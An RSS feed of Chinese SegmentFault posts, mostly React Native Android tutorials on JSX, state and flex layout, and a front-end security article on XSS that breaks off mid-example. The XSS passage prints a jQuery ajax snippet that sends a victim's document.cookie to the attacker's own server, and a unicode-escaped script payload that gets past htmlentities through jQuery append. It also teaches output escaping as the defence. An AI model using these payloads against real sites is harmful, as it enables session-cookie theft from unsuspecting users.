SegmentFault 前端小站最新的文章
2016-10-01T15:15:39+08:00
https://segmentfault.com/feeds/blogs
https://creativecommons.org/licenses/by-nc-nd/4.0/
[React Native Android 安利系列]ReactNative中的reactjs基础
https://segmentfault.com/a/1190000007058805
2016-10-01T15:15:39+08:00
2016-10-01T15:15:39+08:00
侯医生
https://segmentfault.com/u/doctorhou
3
<p>这一系列课程说了很多关于react-native的知识,都是有关于样式,底层,环境等知识的,现在我们来学习一下reactjs的基础知识。我们的代码,我们创建的组件的相关知识。<br>欢迎大家收看react-native-android系列教程,跟着本系列教程学习,可以熟练掌握react-native-android的开发,你值得拥有:<br><a href="https://segmentfault.com/blog/frontenddriver">https://segmentfault.com/blog...</a><br>回顾前几期,我们做过了这么多实践,是时候回过头来看看我们写的JS文件了。</p>
<h2>1. 语法</h2>
<p>我们书写reactjs的时候,当然可以使用ES5的语法。</p>
<pre><code>var reactNative = require('react-native');
var React = require('react');
var View = reactNative.View;
var Text = reactNative.Text;
var StyleSheet = reactNative.StyleSheet;
var AppRegistry = reactNative.AppRegistry;
var hellowReact = React.createClass({
render: function () {
return (
<View>
<Text>欢迎收看react-native-android系列教程</Text>
</View>
);
}
});
AppRegistry.registerComponent('hellowReact', () => hellowReact);</code></pre>
<p>也可以使用ES6的语法,react中内置了packager帮我们进行转换。<br>如果使用了es5的语法的话,我们可以看到,我们创建了一个『类』---hellowReact,确切的说,是一个组件。这个『类』必须要有一个render方法。这个render方法的返回值,指定了渲染在APP上的原生层。个人感觉这与android中的xml布局文件类似。</p>
<p>当然,我们也可以像之前一样,使用es6的语法进行描述。使用真正的类。这里,笔者建议使用ES6的语法去书写RN程序:</p>
<pre><code>import React, {Component} from 'react';
import {
StyleSheet,
Text,
View,
AppRegistry
} from 'react-native';
class hellowReact extends Component {
render() {
return (
<View>
<Text>欢迎收看react-native-android系列教程</Text>
</View>
);
}
}
AppRegistry.registerComponent('hellowReact', () => hellowReact);</code></pre>
<h2>2. JSX</h2>
<p>不得不说,jsx真是一个神奇的设计,在js代码中,混入xml风格的标签。刚开始接触的话,可能你会不习惯这样的代码形式,但当你习惯了这种语法之后,将浴霸不能<img src="/img/bVDMsJ?w=50&h=42" alt="图片描述" title="图片描述">。</p>
<pre><code>class hellowReact extends Component {
render() {
return (
<View style={styles.container}>
<Text>欢迎收看react-native-android系列教程</Text>
</View>
);
}
}</code></pre>
<p>从上述代码我们可以看出,jsx中标签的形式与html类似,同样也是需要嵌套的标签层。同样需要闭合的标签。如果需要在JSX中混入js变量的话,则需要使用界符<code>{}</code>进行包裹。其中的js会被解析。JSX中的标签,由react-native基础库提供。当然,我们的标签也可以使用自己创建的组件。如下:</p>
<pre><code>class Com extends Component {
render() {
return (
<Text>欢迎收看react-native-android系列教程</Text>
);
}
}
class hellowReact extends Component {
render() {
return (
<View style={styles.container}>
<Com />
</View>
);
}
}</code></pre>
<p>这里需要注意下,文字需要包裹在Text标签中。标签开头接受属性。每个标签的样式可以加载在自己的style属性中。另外还需注意,我们渲染的jsx,最外层只能有一个顶级的元素进行包裹。</p>
<h2>3. 组件</h2>
<p>上面,我们已经说到了标签可以是自己创建的组件。我们也写了一个简单的组件。react中,书写自己的组件,可以将应用更加细化的拆分为多个模块。便于模块化的维护代码。自定义的组件在渲染时,可以传入一些属性,在组件内这些属性可以被获取,如图3.0.1:</p>
<pre><code>class Com extends Component {
render() {
return (
<Text>传过来的参数是:{this.props.param}</Text>
);
}
}
class hellowReact extends Component {
render() {
return (
<View style={styles.container}>
<Com param={'我是传入的参数!'} />
</View>
);
}
}</code></pre>
<p><img src="/img/bVDMsQ?w=344&h=614" alt="195637_Ysvm_1177792.png" title="195637_Ysvm_1177792.png"></p>
<p>图3.0.1</p>
<p>其实我们在JSX中插入的是一个类名,但是在渲染的时候,会生成一个类的实例。 这里提示一下大家,类的第一个字母需要大写,否则你会收到一个错误.....(如图3.0.2):<br><img src="/img/bVDMsS?w=344&h=611" alt="200126_HE9c_1177792.png" title="200126_HE9c_1177792.png"></p>
<p>图3.0.2</p>
<h2>4 状态与更新</h2>
<p>在网页开发中,我们的思维总是自己获取数据,自己去更改视图。但是reactjs给我们带来了完全不同的体验。reactjs认为,我们的程序是一个状态机。reactjs为我们提供了VM层,其实我们再回头来看看,我们在写render函数的返回值的时候,不就已经将我们的状态与视图融合在一起了吗?</p>
<pre><code>class hellowReact extends Component {
constructor(props) {
super(props);
this.state = {
name: 'hy'
};
}
render() {
return (
<View style={styles.container}>
<Text>当前的状态是:{this.state.name}</Text>
</View>
);
}
}</code></pre>
<p>上面的代码展示了,我们将当前组建的状态(this.state)混入到了当前组件的视图中。我们在组件创建的时候会给定一个初始状态(initialState),这个状态在getInitialState这个钩子函数的返回值中给到组件。</p>
<p>reactjs支持我们更改状态,从而引起视图的变化。我们将上述代码进行改造,增加更改视图的时机:</p>
<pre><code>import React, {Component} from 'react';
import {
StyleSheet,
Text,
View,
AppRegistry
} from 'react-native';
class hellowReact extends Component {
constructor(props) {
super(props);
this.state = {
name: 'hy'
};
}
changeState() {
this.setState({
name: 'hysg'
});
}
render() {
return (
<View style={styles.container} onTouchEnd={this.changeState.bind(this)}>
<Text>当前的状态是:{this.state.name}</Text>
</View>
);
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
flexDirection: 'row',
alignItems: 'flex-start',
backgroundColor: '#fff',
},
});
AppRegistry.registerComponent('hellowReact', () => hellowReact);</code></pre>
<p>我们看一下上面的代码,在view点击的时候,更新当前组件的状态。并没有强制去更改状态。但是,状态改变了,随即而来的就是视图自动发生了变化,初始状态如图4.0.1,点击后,状态更新,视图随即更新至图4.0.2:<br><img src="/img/bVDMsW?w=343&h=612" alt="203533_Irvy_1177792.png" title="203533_Irvy_1177792.png"></p>
<p>图4.0.1</p>
<p><img src="/img/bVDMs0?w=345&h=615" alt="091509_YFXO_1177792.png" title="091509_YFXO_1177792.png"></p>
<p>图4.0.2</p>
<p>其实我们也能猜到,setState方法,最终就是再次调用render,但是其中会有一些特殊的处理。不过,从上述代码的角度看来,我们只是更改了状态(调用了setState),最终引起了视图的变化,这就是reactjs非常特别的思想。</p>
<h2>5 事件的绑定</h2>
<p>不同于我们的js或者原生android,我们总是在视图之外,在自己的逻辑代码中,去选取特定元素,并在其上绑定事件。reactjs绑定事件是放在JSX中的。</p>
<pre><code>class hellowReact extends Component {
constructor(props) {
super(props);
this.state = {
name: 'hy'
};
}
changeState() {
this.setState({
name: 'hysg'
});
}
render() {
return (
<View style={styles.container} onTouchEnd={this.changeState}>
<Text>当前的状态是:{this.state.name}</Text>
</View>
);
}
};</code></pre>
<p>如上,我们把TouchEnd事件绑定在了最外层的View上。事件名称直接写为标签的属性,其值则是对应的事件处理函数。</p>
<p>请注意,与react-web不同的是,事件触发函数的上下文,默认就是本组件。本例中,我们changeState中的this,指代的就是hellowReact的实例。</p>
<h2>6 获取元素</h2>
<p>相信做前端的同学们,还是习惯了jQuery的模式,用选择器去选择DOM,并操作。但是对于React来讲,平时使用state与jsx更新视图就够了。虽然RN不是DOM,没有选择器去选取DOM,但是我们还是免不了要去获取元素。这时就得使用"对组建的引用---refs属性"了。<br>举个简单的例子,我们要获取一个元素并测量一个这个元素在页面上的位置与长度&宽度,我们就要使用refs,先来获取到那个元素,再来测量了:</p>
<pre><code>class hellowReact extends Component {
getPos() {
this.refs.measureme
.measure((fx, fy, width, height, px, py) => {
console.log('我的位置是:', 'x:', fx, 'y:', fy);
});
}
render() {
return (
<View onTouchEnd={this.getPos}>
<Text ref={"measureme"}>测量我</Text>
</View>
);
}
}</code></pre>
<p>这样,点击后就能测量到元素的位置啦。</p>
<h2>7 全局对象</h2>
<p>在reactNative中,引用全局对象可以使用window或者global,它们都指向一个对象--DedicatedWorkerGlobalScope,其中有jscore提供的方法,也有reactnative注入的方法。我们之后会详细讲解react注入的方法。</p>
<h2>8 模块化</h2>
<p>ReactNative可以直接使用commonjs的方式去编写模块化的代码,因为使用的packager打包的方式类似于webpack或者browserfy,可以通过require,导入模块,可以通过exports暴露出模块中的方法或者变量。当然,直接使用es6 import的方式,也是可以更加方便的导入自己写的模块的。如下面的例子:</p>
<pre><code>import amodule from './amodule';
var hellowReact extends Component {
constructor(props) {
super(props);
this.state = {
name: amodule.getName()
};
}
changeState() {
this.setState({
name: 'hysg'
});
}
render() {
return (
<View style={styles.container} onTouchEnd={this.changeState}>
<Text>当前的状态是:{this.state.name}</Text>
</View>
);
}
}</code></pre>
<p>amodule.js中的代码如下:</p>
<pre><code>export default function () {
return 'hy';
}</code></pre>
<p>不过切记一个模块是一个单例。</p>
<h2>9 课后作业</h2>
<p>本节重在基础学习,所以就没有上传代码例子。各位请自行敲一下上面的代码进行实践。</p>
<p>接下来,我会和大家一起聊聊react-native的源码编译。另外,近期我也会开设一套react-native-ios的系列教程,不要走开,请关注我.....</p>
<p><strong>如果喜欢本文请点击下方的推荐哦,你的推荐会变为我继续更文的动力。</strong></p>
[React Native Android 安利系列]
https://segmentfault.com/a/1190000006876813
2016-09-11T16:08:17+08:00
2016-09-11T16:08:17+08:00
侯医生
https://segmentfault.com/u/doctorhou
3
<p>。。。测试<br>。。。测试<br>。。。测试<br>。。。测试<br>。。。测试</p>
[React Native Android 安利系列]FLEX布局精讲
https://segmentfault.com/a/1190000006740950
2016-08-28T16:05:46+08:00
2016-08-28T16:05:46+08:00
侯医生
https://segmentfault.com/u/doctorhou
2
<p>欢迎大家收看react-native-android系列教程,跟着本系列教程学习,可以熟练掌握react-native-android的开发,你值得拥有:<br><a href="https://segmentfault.com/blog/frontenddriver">https://segmentfault.com/blog...</a></p>
<h2>1. FLEX是什么?</h2>
<p>flex布局,本是一种新的css解决方案,它是『弹性布局』的缩写。我们上一节讲到过盒子模型,这个模型的值都是定死的,并不具备可伸缩的性质,所以,应对不同屏幕,做到响应式布局,就很困难。<br>但是flex布局,给了我们一种全新的解决方案,从定位方式,到宽高设置,都可以做到随心所欲。<br>比如:flex布局可以指定元素宽或者高相对于同级的比例,而不是定值。</p>
<h2>2. react-native中的flex</h2>
<p>我们先来看看,上一节中提到的,react-native支持的flex布局的一些属性吧:</p>
<table>
<thead><tr>
<th>属性值</th>
<th align="center">含义</th>
</tr></thead>
<tbody>
<tr>
<td>alignItems</td>
<td align="center">flex布局元素中,子元素沿纵轴排列方式</td>
</tr>
<tr>
<td>alignSelf</td>
<td align="center">flex元素中,本项元素的纵轴对其方式</td>
</tr>
<tr>
<td>flex</td>
<td align="center">这里指代flex-grow,描述了元素的宽度比例值</td>
</tr>
<tr>
<td>flexDirection</td>
<td align="center">指代flex元素的排列方向</td>
</tr>
<tr>
<td>flexWrap</td>
<td align="center">指代flex元素的换行方式,取值为 nowrap/wrap</td>
</tr>
<tr>
<td>justifyContent</td>
<td align="center">指代flex元素在横轴上的排列方式,之后会进行详解</td>
</tr>
</tbody>
</table>
<p>可以说,react-native对于flex布局的支持还是比较全面的,少了几个简写的属性,非常的简洁、使用。而且,排布与css的flex布局基本一致。接下来,我们将对这些属性进行一一讲解与实践。</p>
<h3>2.1 flexDirection属性</h3>
<p>flex元素的排列方向,取值有:column|row</p>
<h4>2.1.1 column排布(默认)</h4>
<p>纵轴排列,竖向排列(如图2.1.1所示):</p>
<pre><code>class hellowReact extends Component {
constructor(props) {
super(props);
}
render() {
return (
<View style={styles.container}>
<View style={styles.avatar}>
<Image
source={myAvatar}
style={styles.avatar}
/>
</View>
<View style={[styles.shadowBlock, styles.back1]}>
<Text>姓名:一筒</Text>
</View>
</View>
);
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: '#fff',
},
shadowBlock: {
height: 100,
width: 100,
backgroundColor: '#0f0',
},
back1: {
elevation: 5,
},
avatarArea: {
width: 300,
height: 300,
},
avatar: {
resizeMode: Image.resizeMode.contain,
}
});</code></pre>
<p><img src="/img/bVCrLy" alt="clipboard.png" title="clipboard.png"><br>图2.1.1</p>
<h4>2.1.2 row排布</h4>
<p>横向排列,如图2.1.2所示</p>
<pre><code>container: {
flex: 1,
flexDirection: 'row',
backgroundColor: '#fff',
}, </code></pre>
<p><img src="/img/bVCrLH" alt="clipboard.png" title="clipboard.png"><br>图2.1.2</p>
<h3>2.2 flexWrap属性</h3>
<p>flex布局的换行行为,取值有:nowrap | wrap</p>
<h4>2.2.1 nowrap排布</h4>
<p>不换行(默认),效果如图 2.2.1所示:</p>
<pre><code>class hellowReact extends Component {
constructor(props) {
super(props);
}
render() {
return (
<View style={styles.container}>
<View style={styles.avatar}>
<Image
source={myAvatar}
style={styles.avatar}
/>
</View>
<View style={[styles.shadowBlock, styles.back1]}>
<Text>姓名:一筒</Text>
</View>
<View style={[styles.shadowBlock, styles.back1]}>
<Text>姓名:一筒</Text>
</View>
<View style={[styles.shadowBlock, styles.back1]}>
<Text>姓名:一筒</Text>
</View>
<View style={[styles.shadowBlock, styles.back1]}>
<Text>姓名:一筒</Text>
</View>
</View>
);
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
flexDirection: 'row',
backgroundColor: '#fff',
},
shadowBlock: {
height: 100,
width: 100,
backgroundColor: '#0f0',
},
back1: {
elevation: 5,
},
avatarArea: {
width: 300,
height: 300,
},
avatar: {
resizeMode: Image.resizeMode.contain,
}
});</code></pre>
<p><img src="/img/bVCrLS" alt="clipboard.png" title="clipboard.png"><br>图 2.2.1<br>我们看到,使用了此取值,就算元素宽度超出,也未对元素进行换行。</p>
<h4>2.2.2 wrap 换行,效果如图2.2.2所示:</h4>
<pre><code>container: {
flex: 1,
flexDirection: 'row',
flexWrap: 'wrap',
backgroundColor: '#fff',
},</code></pre>
<p><img src="/img/bVCrLY" alt="clipboard.png" title="clipboard.png"><br>图2.2.2</p>
<p>目测react-native对于换行的元素,采取的措施是隐藏。</p>
<h3>2.3 alignItems属性</h3>
<p>flex布局元素中,子元素沿当前轴的交叉轴的排列方式。取值:'flex-start', 'flex-end', 'center', 'stretch'。请注意,这里说的是『当前轴的交叉轴』,flexDirection的值为row的话,元素为横向排列,则alignItems控制元素的上下对齐方式。flexDirection的值为column的话,alignItems控制元素的左右最起方式。</p>
<h4>2.3.1 flex-start(默认)</h4>
<p>所有子元素排列在主轴开始处,flexDirection为row时效果如图2.3.1.1所示:</p>
<pre><code>class hellowReact extends Component {
constructor(props) {
super(props);
}
render() {
return (
<View style={styles.container}>
<View style={styles.avatar}>
<Image
source={myAvatar}
style={styles.avatar}
/>
</View>
<View style={[styles.shadowBlock, styles.back1]}>
<Text>姓名:1筒</Text>
</View>
<View style={[styles.shadowBlock, styles.back1]}>
<Text>姓名:2筒</Text>
</View>
</View>
);
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
flexDirection: 'row',
backgroundColor: '#fff',
},
shadowBlock: {
height: 100,
width: 100,
backgroundColor: '#0f0',
},
back1: {
height: 200,
},
avatarArea: {
width: 300,
height: 300,
},
avatar: {
resizeMode: Image.resizeMode.contain,
}
});</code></pre>
<p><img src="/img/bVCrL1" alt="clipboard.png" title="clipboard.png"><br>图2.3.1.1<br>flexDirection为column时效果如图2.3.1.2所示:<br><img src="/img/bVCrL5" alt="clipboard.png" title="clipboard.png"><br>图2.3.1.2</p>
<h4>2.3.2 flex-end</h4>
<p>所有元素按照主轴结尾处排列,flexDirection为row时效果如图2.3.2.1所示:</p>
<pre><code>const styles = StyleSheet.create({
container: {
flex: 1,
flexDirection: 'row',
alignItems: 'flex-end',
backgroundColor: '#fff',
},
.....</code></pre>
<p><img src="/img/bVCrL6" alt="clipboard.png" title="clipboard.png"><br>图2.3.2.1<br>flexDirection为column时效果如图2.3.2.2所示:<br><img src="/img/bVCrL8" alt="clipboard.png" title="clipboard.png"><br>图2.3.2.2</p>
<h4>2.3.3 center</h4>
<p>所有元素居中对齐,如图2.3.3所示:</p>
<pre><code>const styles = StyleSheet.create({
container: {
flex: 1,
flexDirection: 'row',
alignItems: 'center',
backgroundColor: '#fff',
},
.....</code></pre>
<p><img src="/img/bVCrMb" alt="clipboard.png" title="clipboard.png"><br>图2.3.3</p>
<h4>2.3.4 stretch属性</h4>
<p>在当前轴的交叉轴上,进行拉伸。如果元素没有设置宽度或者高度的话,则使用该值时,将会被拉伸。<br>我们将上述例子的alignItems换位stretch,效果如图2.3.4.1所示(flexDirection为row):</p>
<pre><code>class hellowReact extends Component {
constructor(props) {
super(props);
}
render() {
return (
<View style={styles.container}>
<View style={styles.avatarArea}>
<Image
source={myAvatar}
style={styles.avatar}
/>
</View>
<View style={[styles.shadowBlock, styles.back1]}>
<Text style={styles.text1}>姓名:1筒</Text>
</View>
<View style={[styles.shadowBlock, styles.back1]}>
<Text style={styles.text2}>姓名:2筒</Text>
</View>
</View>
);
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
flexDirection: 'row',
alignItems: 'stretch',
backgroundColor: '#fff',
},
shadowBlock: {
backgroundColor: '#0f0',
},
back1: {
},
text1: {
height: 100,
},
text2: {
height: 200,
},
avatarArea: {
backgroundColor: '#000'
},
avatar: {
resizeMode: Image.resizeMode.contain,
}
});</code></pre>
<p><img src="/img/bVCrMe" alt="clipboard.png" title="clipboard.png"><br>图2.3.4.1<br>我们看到,几个子元素,高度均被拉伸。<br>flexDirection换为column的话,则元素被横向拉伸(如图2.3.4.2):<br><img src="/img/bVCrMj" alt="clipboard.png" title="clipboard.png"><br>图2.3.4.2</p>
<h3>2.4 justifyContent属性</h3>
<p>justifyContent控制了元素在当前轴上的排列方式,当前轴有可能是column也有可能是row,下面以当前轴为row的情况做例子,column的情况,读着可以自己试着做做例子。另外注意,这个属性是设置在所有想排列的子元素的父级元素上的。<br>justifyContent可选的值有</p>
<table>
<thead><tr>
<th>属性值</th>
<th>含义</th>
</tr></thead>
<tbody>
<tr>
<td>flex-start</td>
<td>在当前轴开始处按序排列(默认)</td>
</tr>
<tr>
<td>flex-end</td>
<td>在当前轴结尾处,开始按序排列</td>
</tr>
<tr>
<td>center</td>
<td>在当前轴居中位置,两侧伸展排列</td>
</tr>
<tr>
<td>space-between</td>
<td>所有元素打散,填充满整个当前轴,两侧无留白。</td>
</tr>
<tr>
<td>space-around</td>
<td>所有元素打散,填充满整个当前轴,两侧有留白。</td>
</tr>
</tbody>
</table>
<h4>2.4.1 flex-start布局</h4>
<p>效果如图2.4.1所示<br><img alt="clipboard.png" title="clipboard.png" src=""><br>图2.4.1</p>
<h4>2.4.2 flex-end布局</h4>
<p>如图2.4.2所示,元素都聚集到了当前轴(row)的结尾处:<br><img src="/img/bVCrMm" alt="clipboard.png" title="clipboard.png"><br>图2.4.2</p>
<h4>2.4.3 center布局</h4>
<p>在当前轴居中,并两侧伸展排列,justifyContent: 'center', 如图2.4.3所示<br><img src="/img/bVCrMn" alt="clipboard.png" title="clipboard.png"><br>图2.4.3</p>
<h4>2.4.4 space-between布局</h4>
<p>所有元素,填充满整个屏幕,元素与元素间的留白,平均分布,并且最左边的元素与最右边的元素两侧不加留白。justifyContent: 'space-between'如图2.4.4所示:<br><img src="/img/bVCrMz" alt="clipboard.png" title="clipboard.png"><br>图2.4.4</p>
<h4>2.4.5 space-around布局</h4>
<p>与space-between类似,只不过,使用此属性时,排列元素两侧也会有留白,最终效果会使所有元素的左右两侧留白均一致。<br><img src="/img/bVCrMF" alt="clipboard.png" title="clipboard.png"><br>图2.4.5</p>
<h3>2.5 alignSelf属性</h3>
<p>该属性其实与alignItems的属性锁表达的意义一致,是不过alignItems应用于父级元素上,决定了所有子元素的排布方式,而alignSelf应用于单个子元素上,决定了子元素自己的对其方式。<br>其取值与alignItems一样,也有 'flex-start', 'flex-end', 'center', 'stretch'。只是多了一个值'auto',此值意味着,采用父级元素的alignItems所定义的对其方式。<br>如,我们在父级元素上,定义了alignItems为center,于是我们看到,这个center被"雨露均沾"到各个子元素上(如图2.5.1所示):</p>
<pre><code>class hellowReact extends Component {
constructor(props) {
super(props);
}
render() {
return (
<View style={styles.container}>
<View style={styles.avatarArea}>
<Image
source={myAvatar}
style={styles.avatar}
/>
</View>
<View style={[styles.shadowBlock, styles.back1]}>
<Text style={styles.text1}>姓名:1筒</Text>
</View>
<View style={[styles.shadowBlock, styles.back1]}>
<Text style={styles.text2}>姓名:2筒</Text>
</View>
</View>
);
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
flexDirection: 'row',
alignItems: 'center',
backgroundColor: '#fff',
},
shadowBlock: {
backgroundColor: '#0f0',
},
back1: {
height: 100,
width: 100,
},
text1: {
height: 100,
width: 100,
},
text2: {
height: 200,
},
avatarArea: {
width: 100,
height: 100,
backgroundColor: '#000'
},
avatar: {
resizeMode: Image.resizeMode.contain,
}
});</code></pre>
<p><img src="/img/bVCrMG" alt="clipboard.png" title="clipboard.png"><br>图2.5.1<br>可是有个子元素非是不听呢,它设置了alignSelf为flex-start(self这个词彰显了个性),于是他就"独得恩宠",跑到上面去了,如图2.5.2所示:</p>
<pre><code> avatarArea: {
width: 100,
height: 100,
//子元素设置了此属性
alignSelf: 'flex-start',
backgroundColor: '#000'
},</code></pre>
<p><img src="/img/bVCrMH" alt="clipboard.png" title="clipboard.png"><br>图2.5.2</p>
<p>同样的,我们可以指定单个元素对其到开始、结尾、中间....,这就是alignSelf的用法了。</p>
<h3>2.6 flex属性</h3>
<p>这个属性可谓是flex布局中,非常重要的属性了。之前的开发方式中,我们会指定元素的宽度与高度,这样的写死的方式,无法适应各种屏幕下的适配。而指定元素的flex,则可以达到,元素的宽高,按照比例排布。<br>flex可以这样用,当我们拥有三个元素时,可以指定三个元素的比例关系,达到自适应的效果,代码如下(效果如图2.6.1所示): </p>
<pre><code>class hellowReact extends Component {
constructor(props) {
super(props);
}
render() {
return (
<View style={styles.container}>
<View style={styles.avatarArea}>
<Image
source={myAvatar}
style={styles.avatar}
/>
</View>
<View style={[styles.shadowBlock, styles.back1]}>
<Text style={styles.text1}>姓名:1筒</Text>
</View>
<View style={[styles.shadowBlock, styles.back1]}>
<Text style={styles.text2}>姓名:2筒</Text>
</View>
</View>
);
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
flexDirection: 'row',
alignItems: 'flex-start',
backgroundColor: '#fff',
},
shadowBlock: {
backgroundColor: '#0f0',
},
back1: {
// 指定后两个元素的flex值为2
flex: 2,
},
text1: {
},
text2: {
height: 200,
},
avatarArea: {
// 指定第一个元素的flex值为1
flex: 1,
backgroundColor: '#000'
},
avatar: {
resizeMode: Image.resizeMode.contain,
}
});</code></pre>
<p><img src="/img/bVCrMM" alt="clipboard.png" title="clipboard.png"><br>图2.6.1</p>
<p>我们可以看到,此时元素的比例化为了1:2:2,这样布局,换了大屏幕的手机也依然会保持,妈妈再也不用担心我的屏幕适配了。</p>
<h2>3. 今日作业</h2>
<p>请使用flex布局完成一个类似于手机百度首页FEED流布局的界面。</p>
<p>这一章,我们一起学习了flex布局的所有属性,下一章我们一起来做个例子,实现的就是今天的作业--手机百度上面新闻流的布局。<br>形式大概就是这样:</p>
<p><img src="/img/bVCrM4" alt="clipboard.png" title="clipboard.png"></p>
<p>原创文章,版权所有,转载请注明出处</p>
[聊一聊系列]聊一聊WEB前端安全那些事儿
https://segmentfault.com/a/1190000006672214
2016-08-22T08:00:00+08:00
2016-08-22T08:00:00+08:00
侯医生
https://segmentfault.com/u/doctorhou
135
<p>欢迎大家收看聊一聊系列,这一套系列文章,可以帮助前端工程师们了解前端的方方面面(不仅仅是代码):<br><a href="https://segmentfault.com/blog/frontenddriver">https://segmentfault.com/blog...</a></p>
<p>随着互联网的发达,各种WEB应用也变得越来越复杂,满足了用户的各种需求,但是随之而来的就是各种网络安全的问题。作为前端工程师的我们也逃不开这个问题。所以今天,就和大家一起聊一聊WEB前端的安全那些事儿。这里不去说那些后端的攻击(SQL注入、DDOS攻击等),毕竟整个WEB安全是一门很深的学问,不是我一篇文章就能完全说完的。我们就聊一聊前端工程师们需要注意的那些安全知识。</p>
<h2>为什么要攻击?</h2>
<p>其实真正为了玩的心态去进行黑网站的人,还是少数。多数攻击还是有利益的成分在里面的。我模糊的记得,以前听腾讯的工程师说过一句话,大概是这样的:<strong>开发者不可能确保自己的应用绝对无法被攻击,但是只要攻击我们的时候,黑客花费的成本远比他可以获取的利益大得多,黑客就不会去攻击。</strong>防范强如支付宝、QQ等产品,也都曾被报过漏洞,看来防御不是绝对的,我们只能想办法让我们的应用更加安全。</p>
<h2>前端攻击都有哪些形式,我该如何防范?</h2>
<h3>1 XSS攻击</h3>
<h4>1.1 是什么?</h4>
<p>百度百科中如是说道:<br>XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。<br>其实在web前端方面,可以简单的理解为一种javascript代码注入。举个例子,我们有个社交网站,允许大家相互访问空间,网站可能是这样做的:</p>
<pre><code><?php
$username="侯医生";
?>
<!DOCYTPE HTML>
<html>
<head>
<meta charset="utf-8" />
</head>
<body>
<div>
用户名:<?php echo $username;?>
</div>
<div>
第一条状态:侯医生的状态1
</div>
<div>
第二条状态:侯医生的状态2
</div>
<div>
第三条状态:侯医生的状态3
</div>
</body>
</html></code></pre>
<p>运行时,展现形式如图1.1.1所示:</p>
<p><img src="/img/bVB9cO" alt="clipboard.png" title="clipboard.png"><br>图1.1.1</p>
<p>但是,如果你的用户名,起名称的时候,带上script标签呢?我们知道,浏览器遇到html中的script标签的时候,会解析并执行标签中的js脚本代码,那么如果你的用户名称里面含有script标签的话,就可以执行其中的代码了。<br>代码如下,效果如图1.1.2</p>
<pre><code><?php
$username="<script>alert('侯医生');</script>";
?></code></pre>
<p><img src="/img/bVB9or" alt="clipboard.png" title="clipboard.png"><br>图1.1.2<br>如果你将自己的用户名设定为这种执行脚本的方式,再让别人去访问你的连接的话,就可以达到在他人web环境中,执行自己脚本的效果了。我们还可以使用ajax,将其他用户在当前域名下的cookie获取并发送到自己的服务器上。这样就可以获取他人信息了。比如,刚刚咱们使用的不是alert而是,如下的代码:</p>
<pre><code>$.ajax({
url: '自己的服务器',
dataType: 'jsonp',
data: {'盗取的用户cookie': document.cookie}
});</code></pre>
<p>再在各个QQ群中,散播自己的空间,引诱别人来访问。就可以拿到用户在这个域名下的cookie或者其他隐私了。</p>
<h4>1.2 如何防范?</h4>
<p>目前来讲,最简单的办法防治办法,还是将前端输出数据都进行转义最为稳妥。比如,按照刚刚我们那个例子来说,其本质是,浏览器遇到script标签的话,则会执行其中的脚本。但是如果我们将script标签的进行转义,则浏览器便不会认为其是一个标签,但是显示的时候,还是会按照正常的方式去显示,代码如下,效果如图1.2.1</p>
<pre><code><?php
$username="<script>alert('侯医生');</script>";
?>
<!DOCYTPE HTML>
<html>
<head>
<meta charset="utf-8" />
</head>
<body>
<!--我们将输出的后端变量,转义之后再输出,则可以避免被注入代码-->
<div>
用户名:<?php echo htmlentities($username);?>
</div>
<div>
第一条状态:侯医生的状态1
</div>
<div>
第二条状态:侯医生的状态2
</div>
<div>
第三条状态:侯医生的状态3
</div>
</body>
</html></code></pre>
<p><img src="/img/bVB9qd" alt="clipboard.png" title="clipboard.png"><br>图1.2.1<br>其实,我们再来看看网页源码,如图1.2.2<br><img src="/img/bVB9qG" alt="clipboard.png" title="clipboard.png"><br>图1.2.2<br>虽然显示出来是有script标签的,但是实际上,script标签的左右尖括号(><),均被转义为html字符实体,所以,便不会被当做标签来解析的,但是实际显示的时候,这两个尖括号,还是可以正常展示的。</p>
<h4>1.3 升级攻击</h4>
<h5>1.3.1 append的利用</h5>
<p>上一小节我们防住了script标签的左右尖括号,蓝鹅,聪明的黑客们还是想出了好办法去破解,我们知道,直接给innerHTML赋值一段js,是无法被执行的。比如,</p>
<pre><code>$('div').innerHTML = '<script>alert("okok");</script>';</code></pre>
<p>但是,jquery的append可以做到,究其原因,就是因为jquery会在将append元素变为fragment的时候,找到其中的script标签,再使用eval执行一遍。jquery的append使用的方式也是innerHTML(如图1.3.1.1)。而innerHTML是会将unicode码转换为字符实体的。<br><img src="/img/bVB9t0" alt="clipboard.png" title="clipboard.png"><br>图1.3.1.1<br>利用这两种知识结合,我们可以得出,网站使用append进行dom操作,如果是append我们可以决定的字段,那么我们可以将左右尖括号,使用unicode码伪装起来,就像这样--<code>"\u003cscript\u003ealert('okok');"</code>。接下来转义的时候,伪装成<code>\u003</code>的<code><</code>会被漏掉,append的时候,则会被重新调用。代码如下,效果如图1.3.1.2</p>
<pre><code><?php
$username="\u003cscript\u003ealert('okok');";
?>
<!DOCYTPE HTML>
<html>
<head>
<meta charset="utf-8" />
<script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
</head>
<body>
<div>
用户名:<?php echo htmlentities($username);?>
</div>
<div>
第一条状态:侯医生的状态1
</div>
<div>
第二条状态:侯医生的状态2
</div>
<div>
第三条状态:侯医生的状态3
</div>
<div>版权所有:<span id="username_info"></span></div>
<script>
$('#username_info').append("<?php echo htmlentities($username);?>");
</script>
</body>
</html></code></pre>
<p><img src="/img/bVB9uu" alt="clipboard.png" title="clipboard.png"><br>图1.3.1.2<br>我们可以看到,虽然进行了转义,注入的代码还是会再次被执行。</p>
<h5>1.3.2 img标签的再次利用</h5>
<p>再来一种攻击方式,img标签的小贴士。<br>这里我们需要重温一个小知识点-----img标签,在加载图片失败的时候,会调用该元素上的onerror事件。我们正可以利用这种方式来进行攻击。我们先来看一下,正常的用户分享图片的行为怎么做。代码如下,展示如图1.3.2.1</p>
<pre><code><?php
$username="<script>alert('侯医生');</script>";
$imgsrc="http://img5.imgtn.bdimg.com/it/u=1412369044,967882675&fm=11&gp=0.jpg";
?>
<!DOCYTPE HTML>
<html>
<head>
<meta charset="utf-8" />
</head>
<body>
<div>
用户名:<?php echo htmlentities($username);?>
</div>
<div>
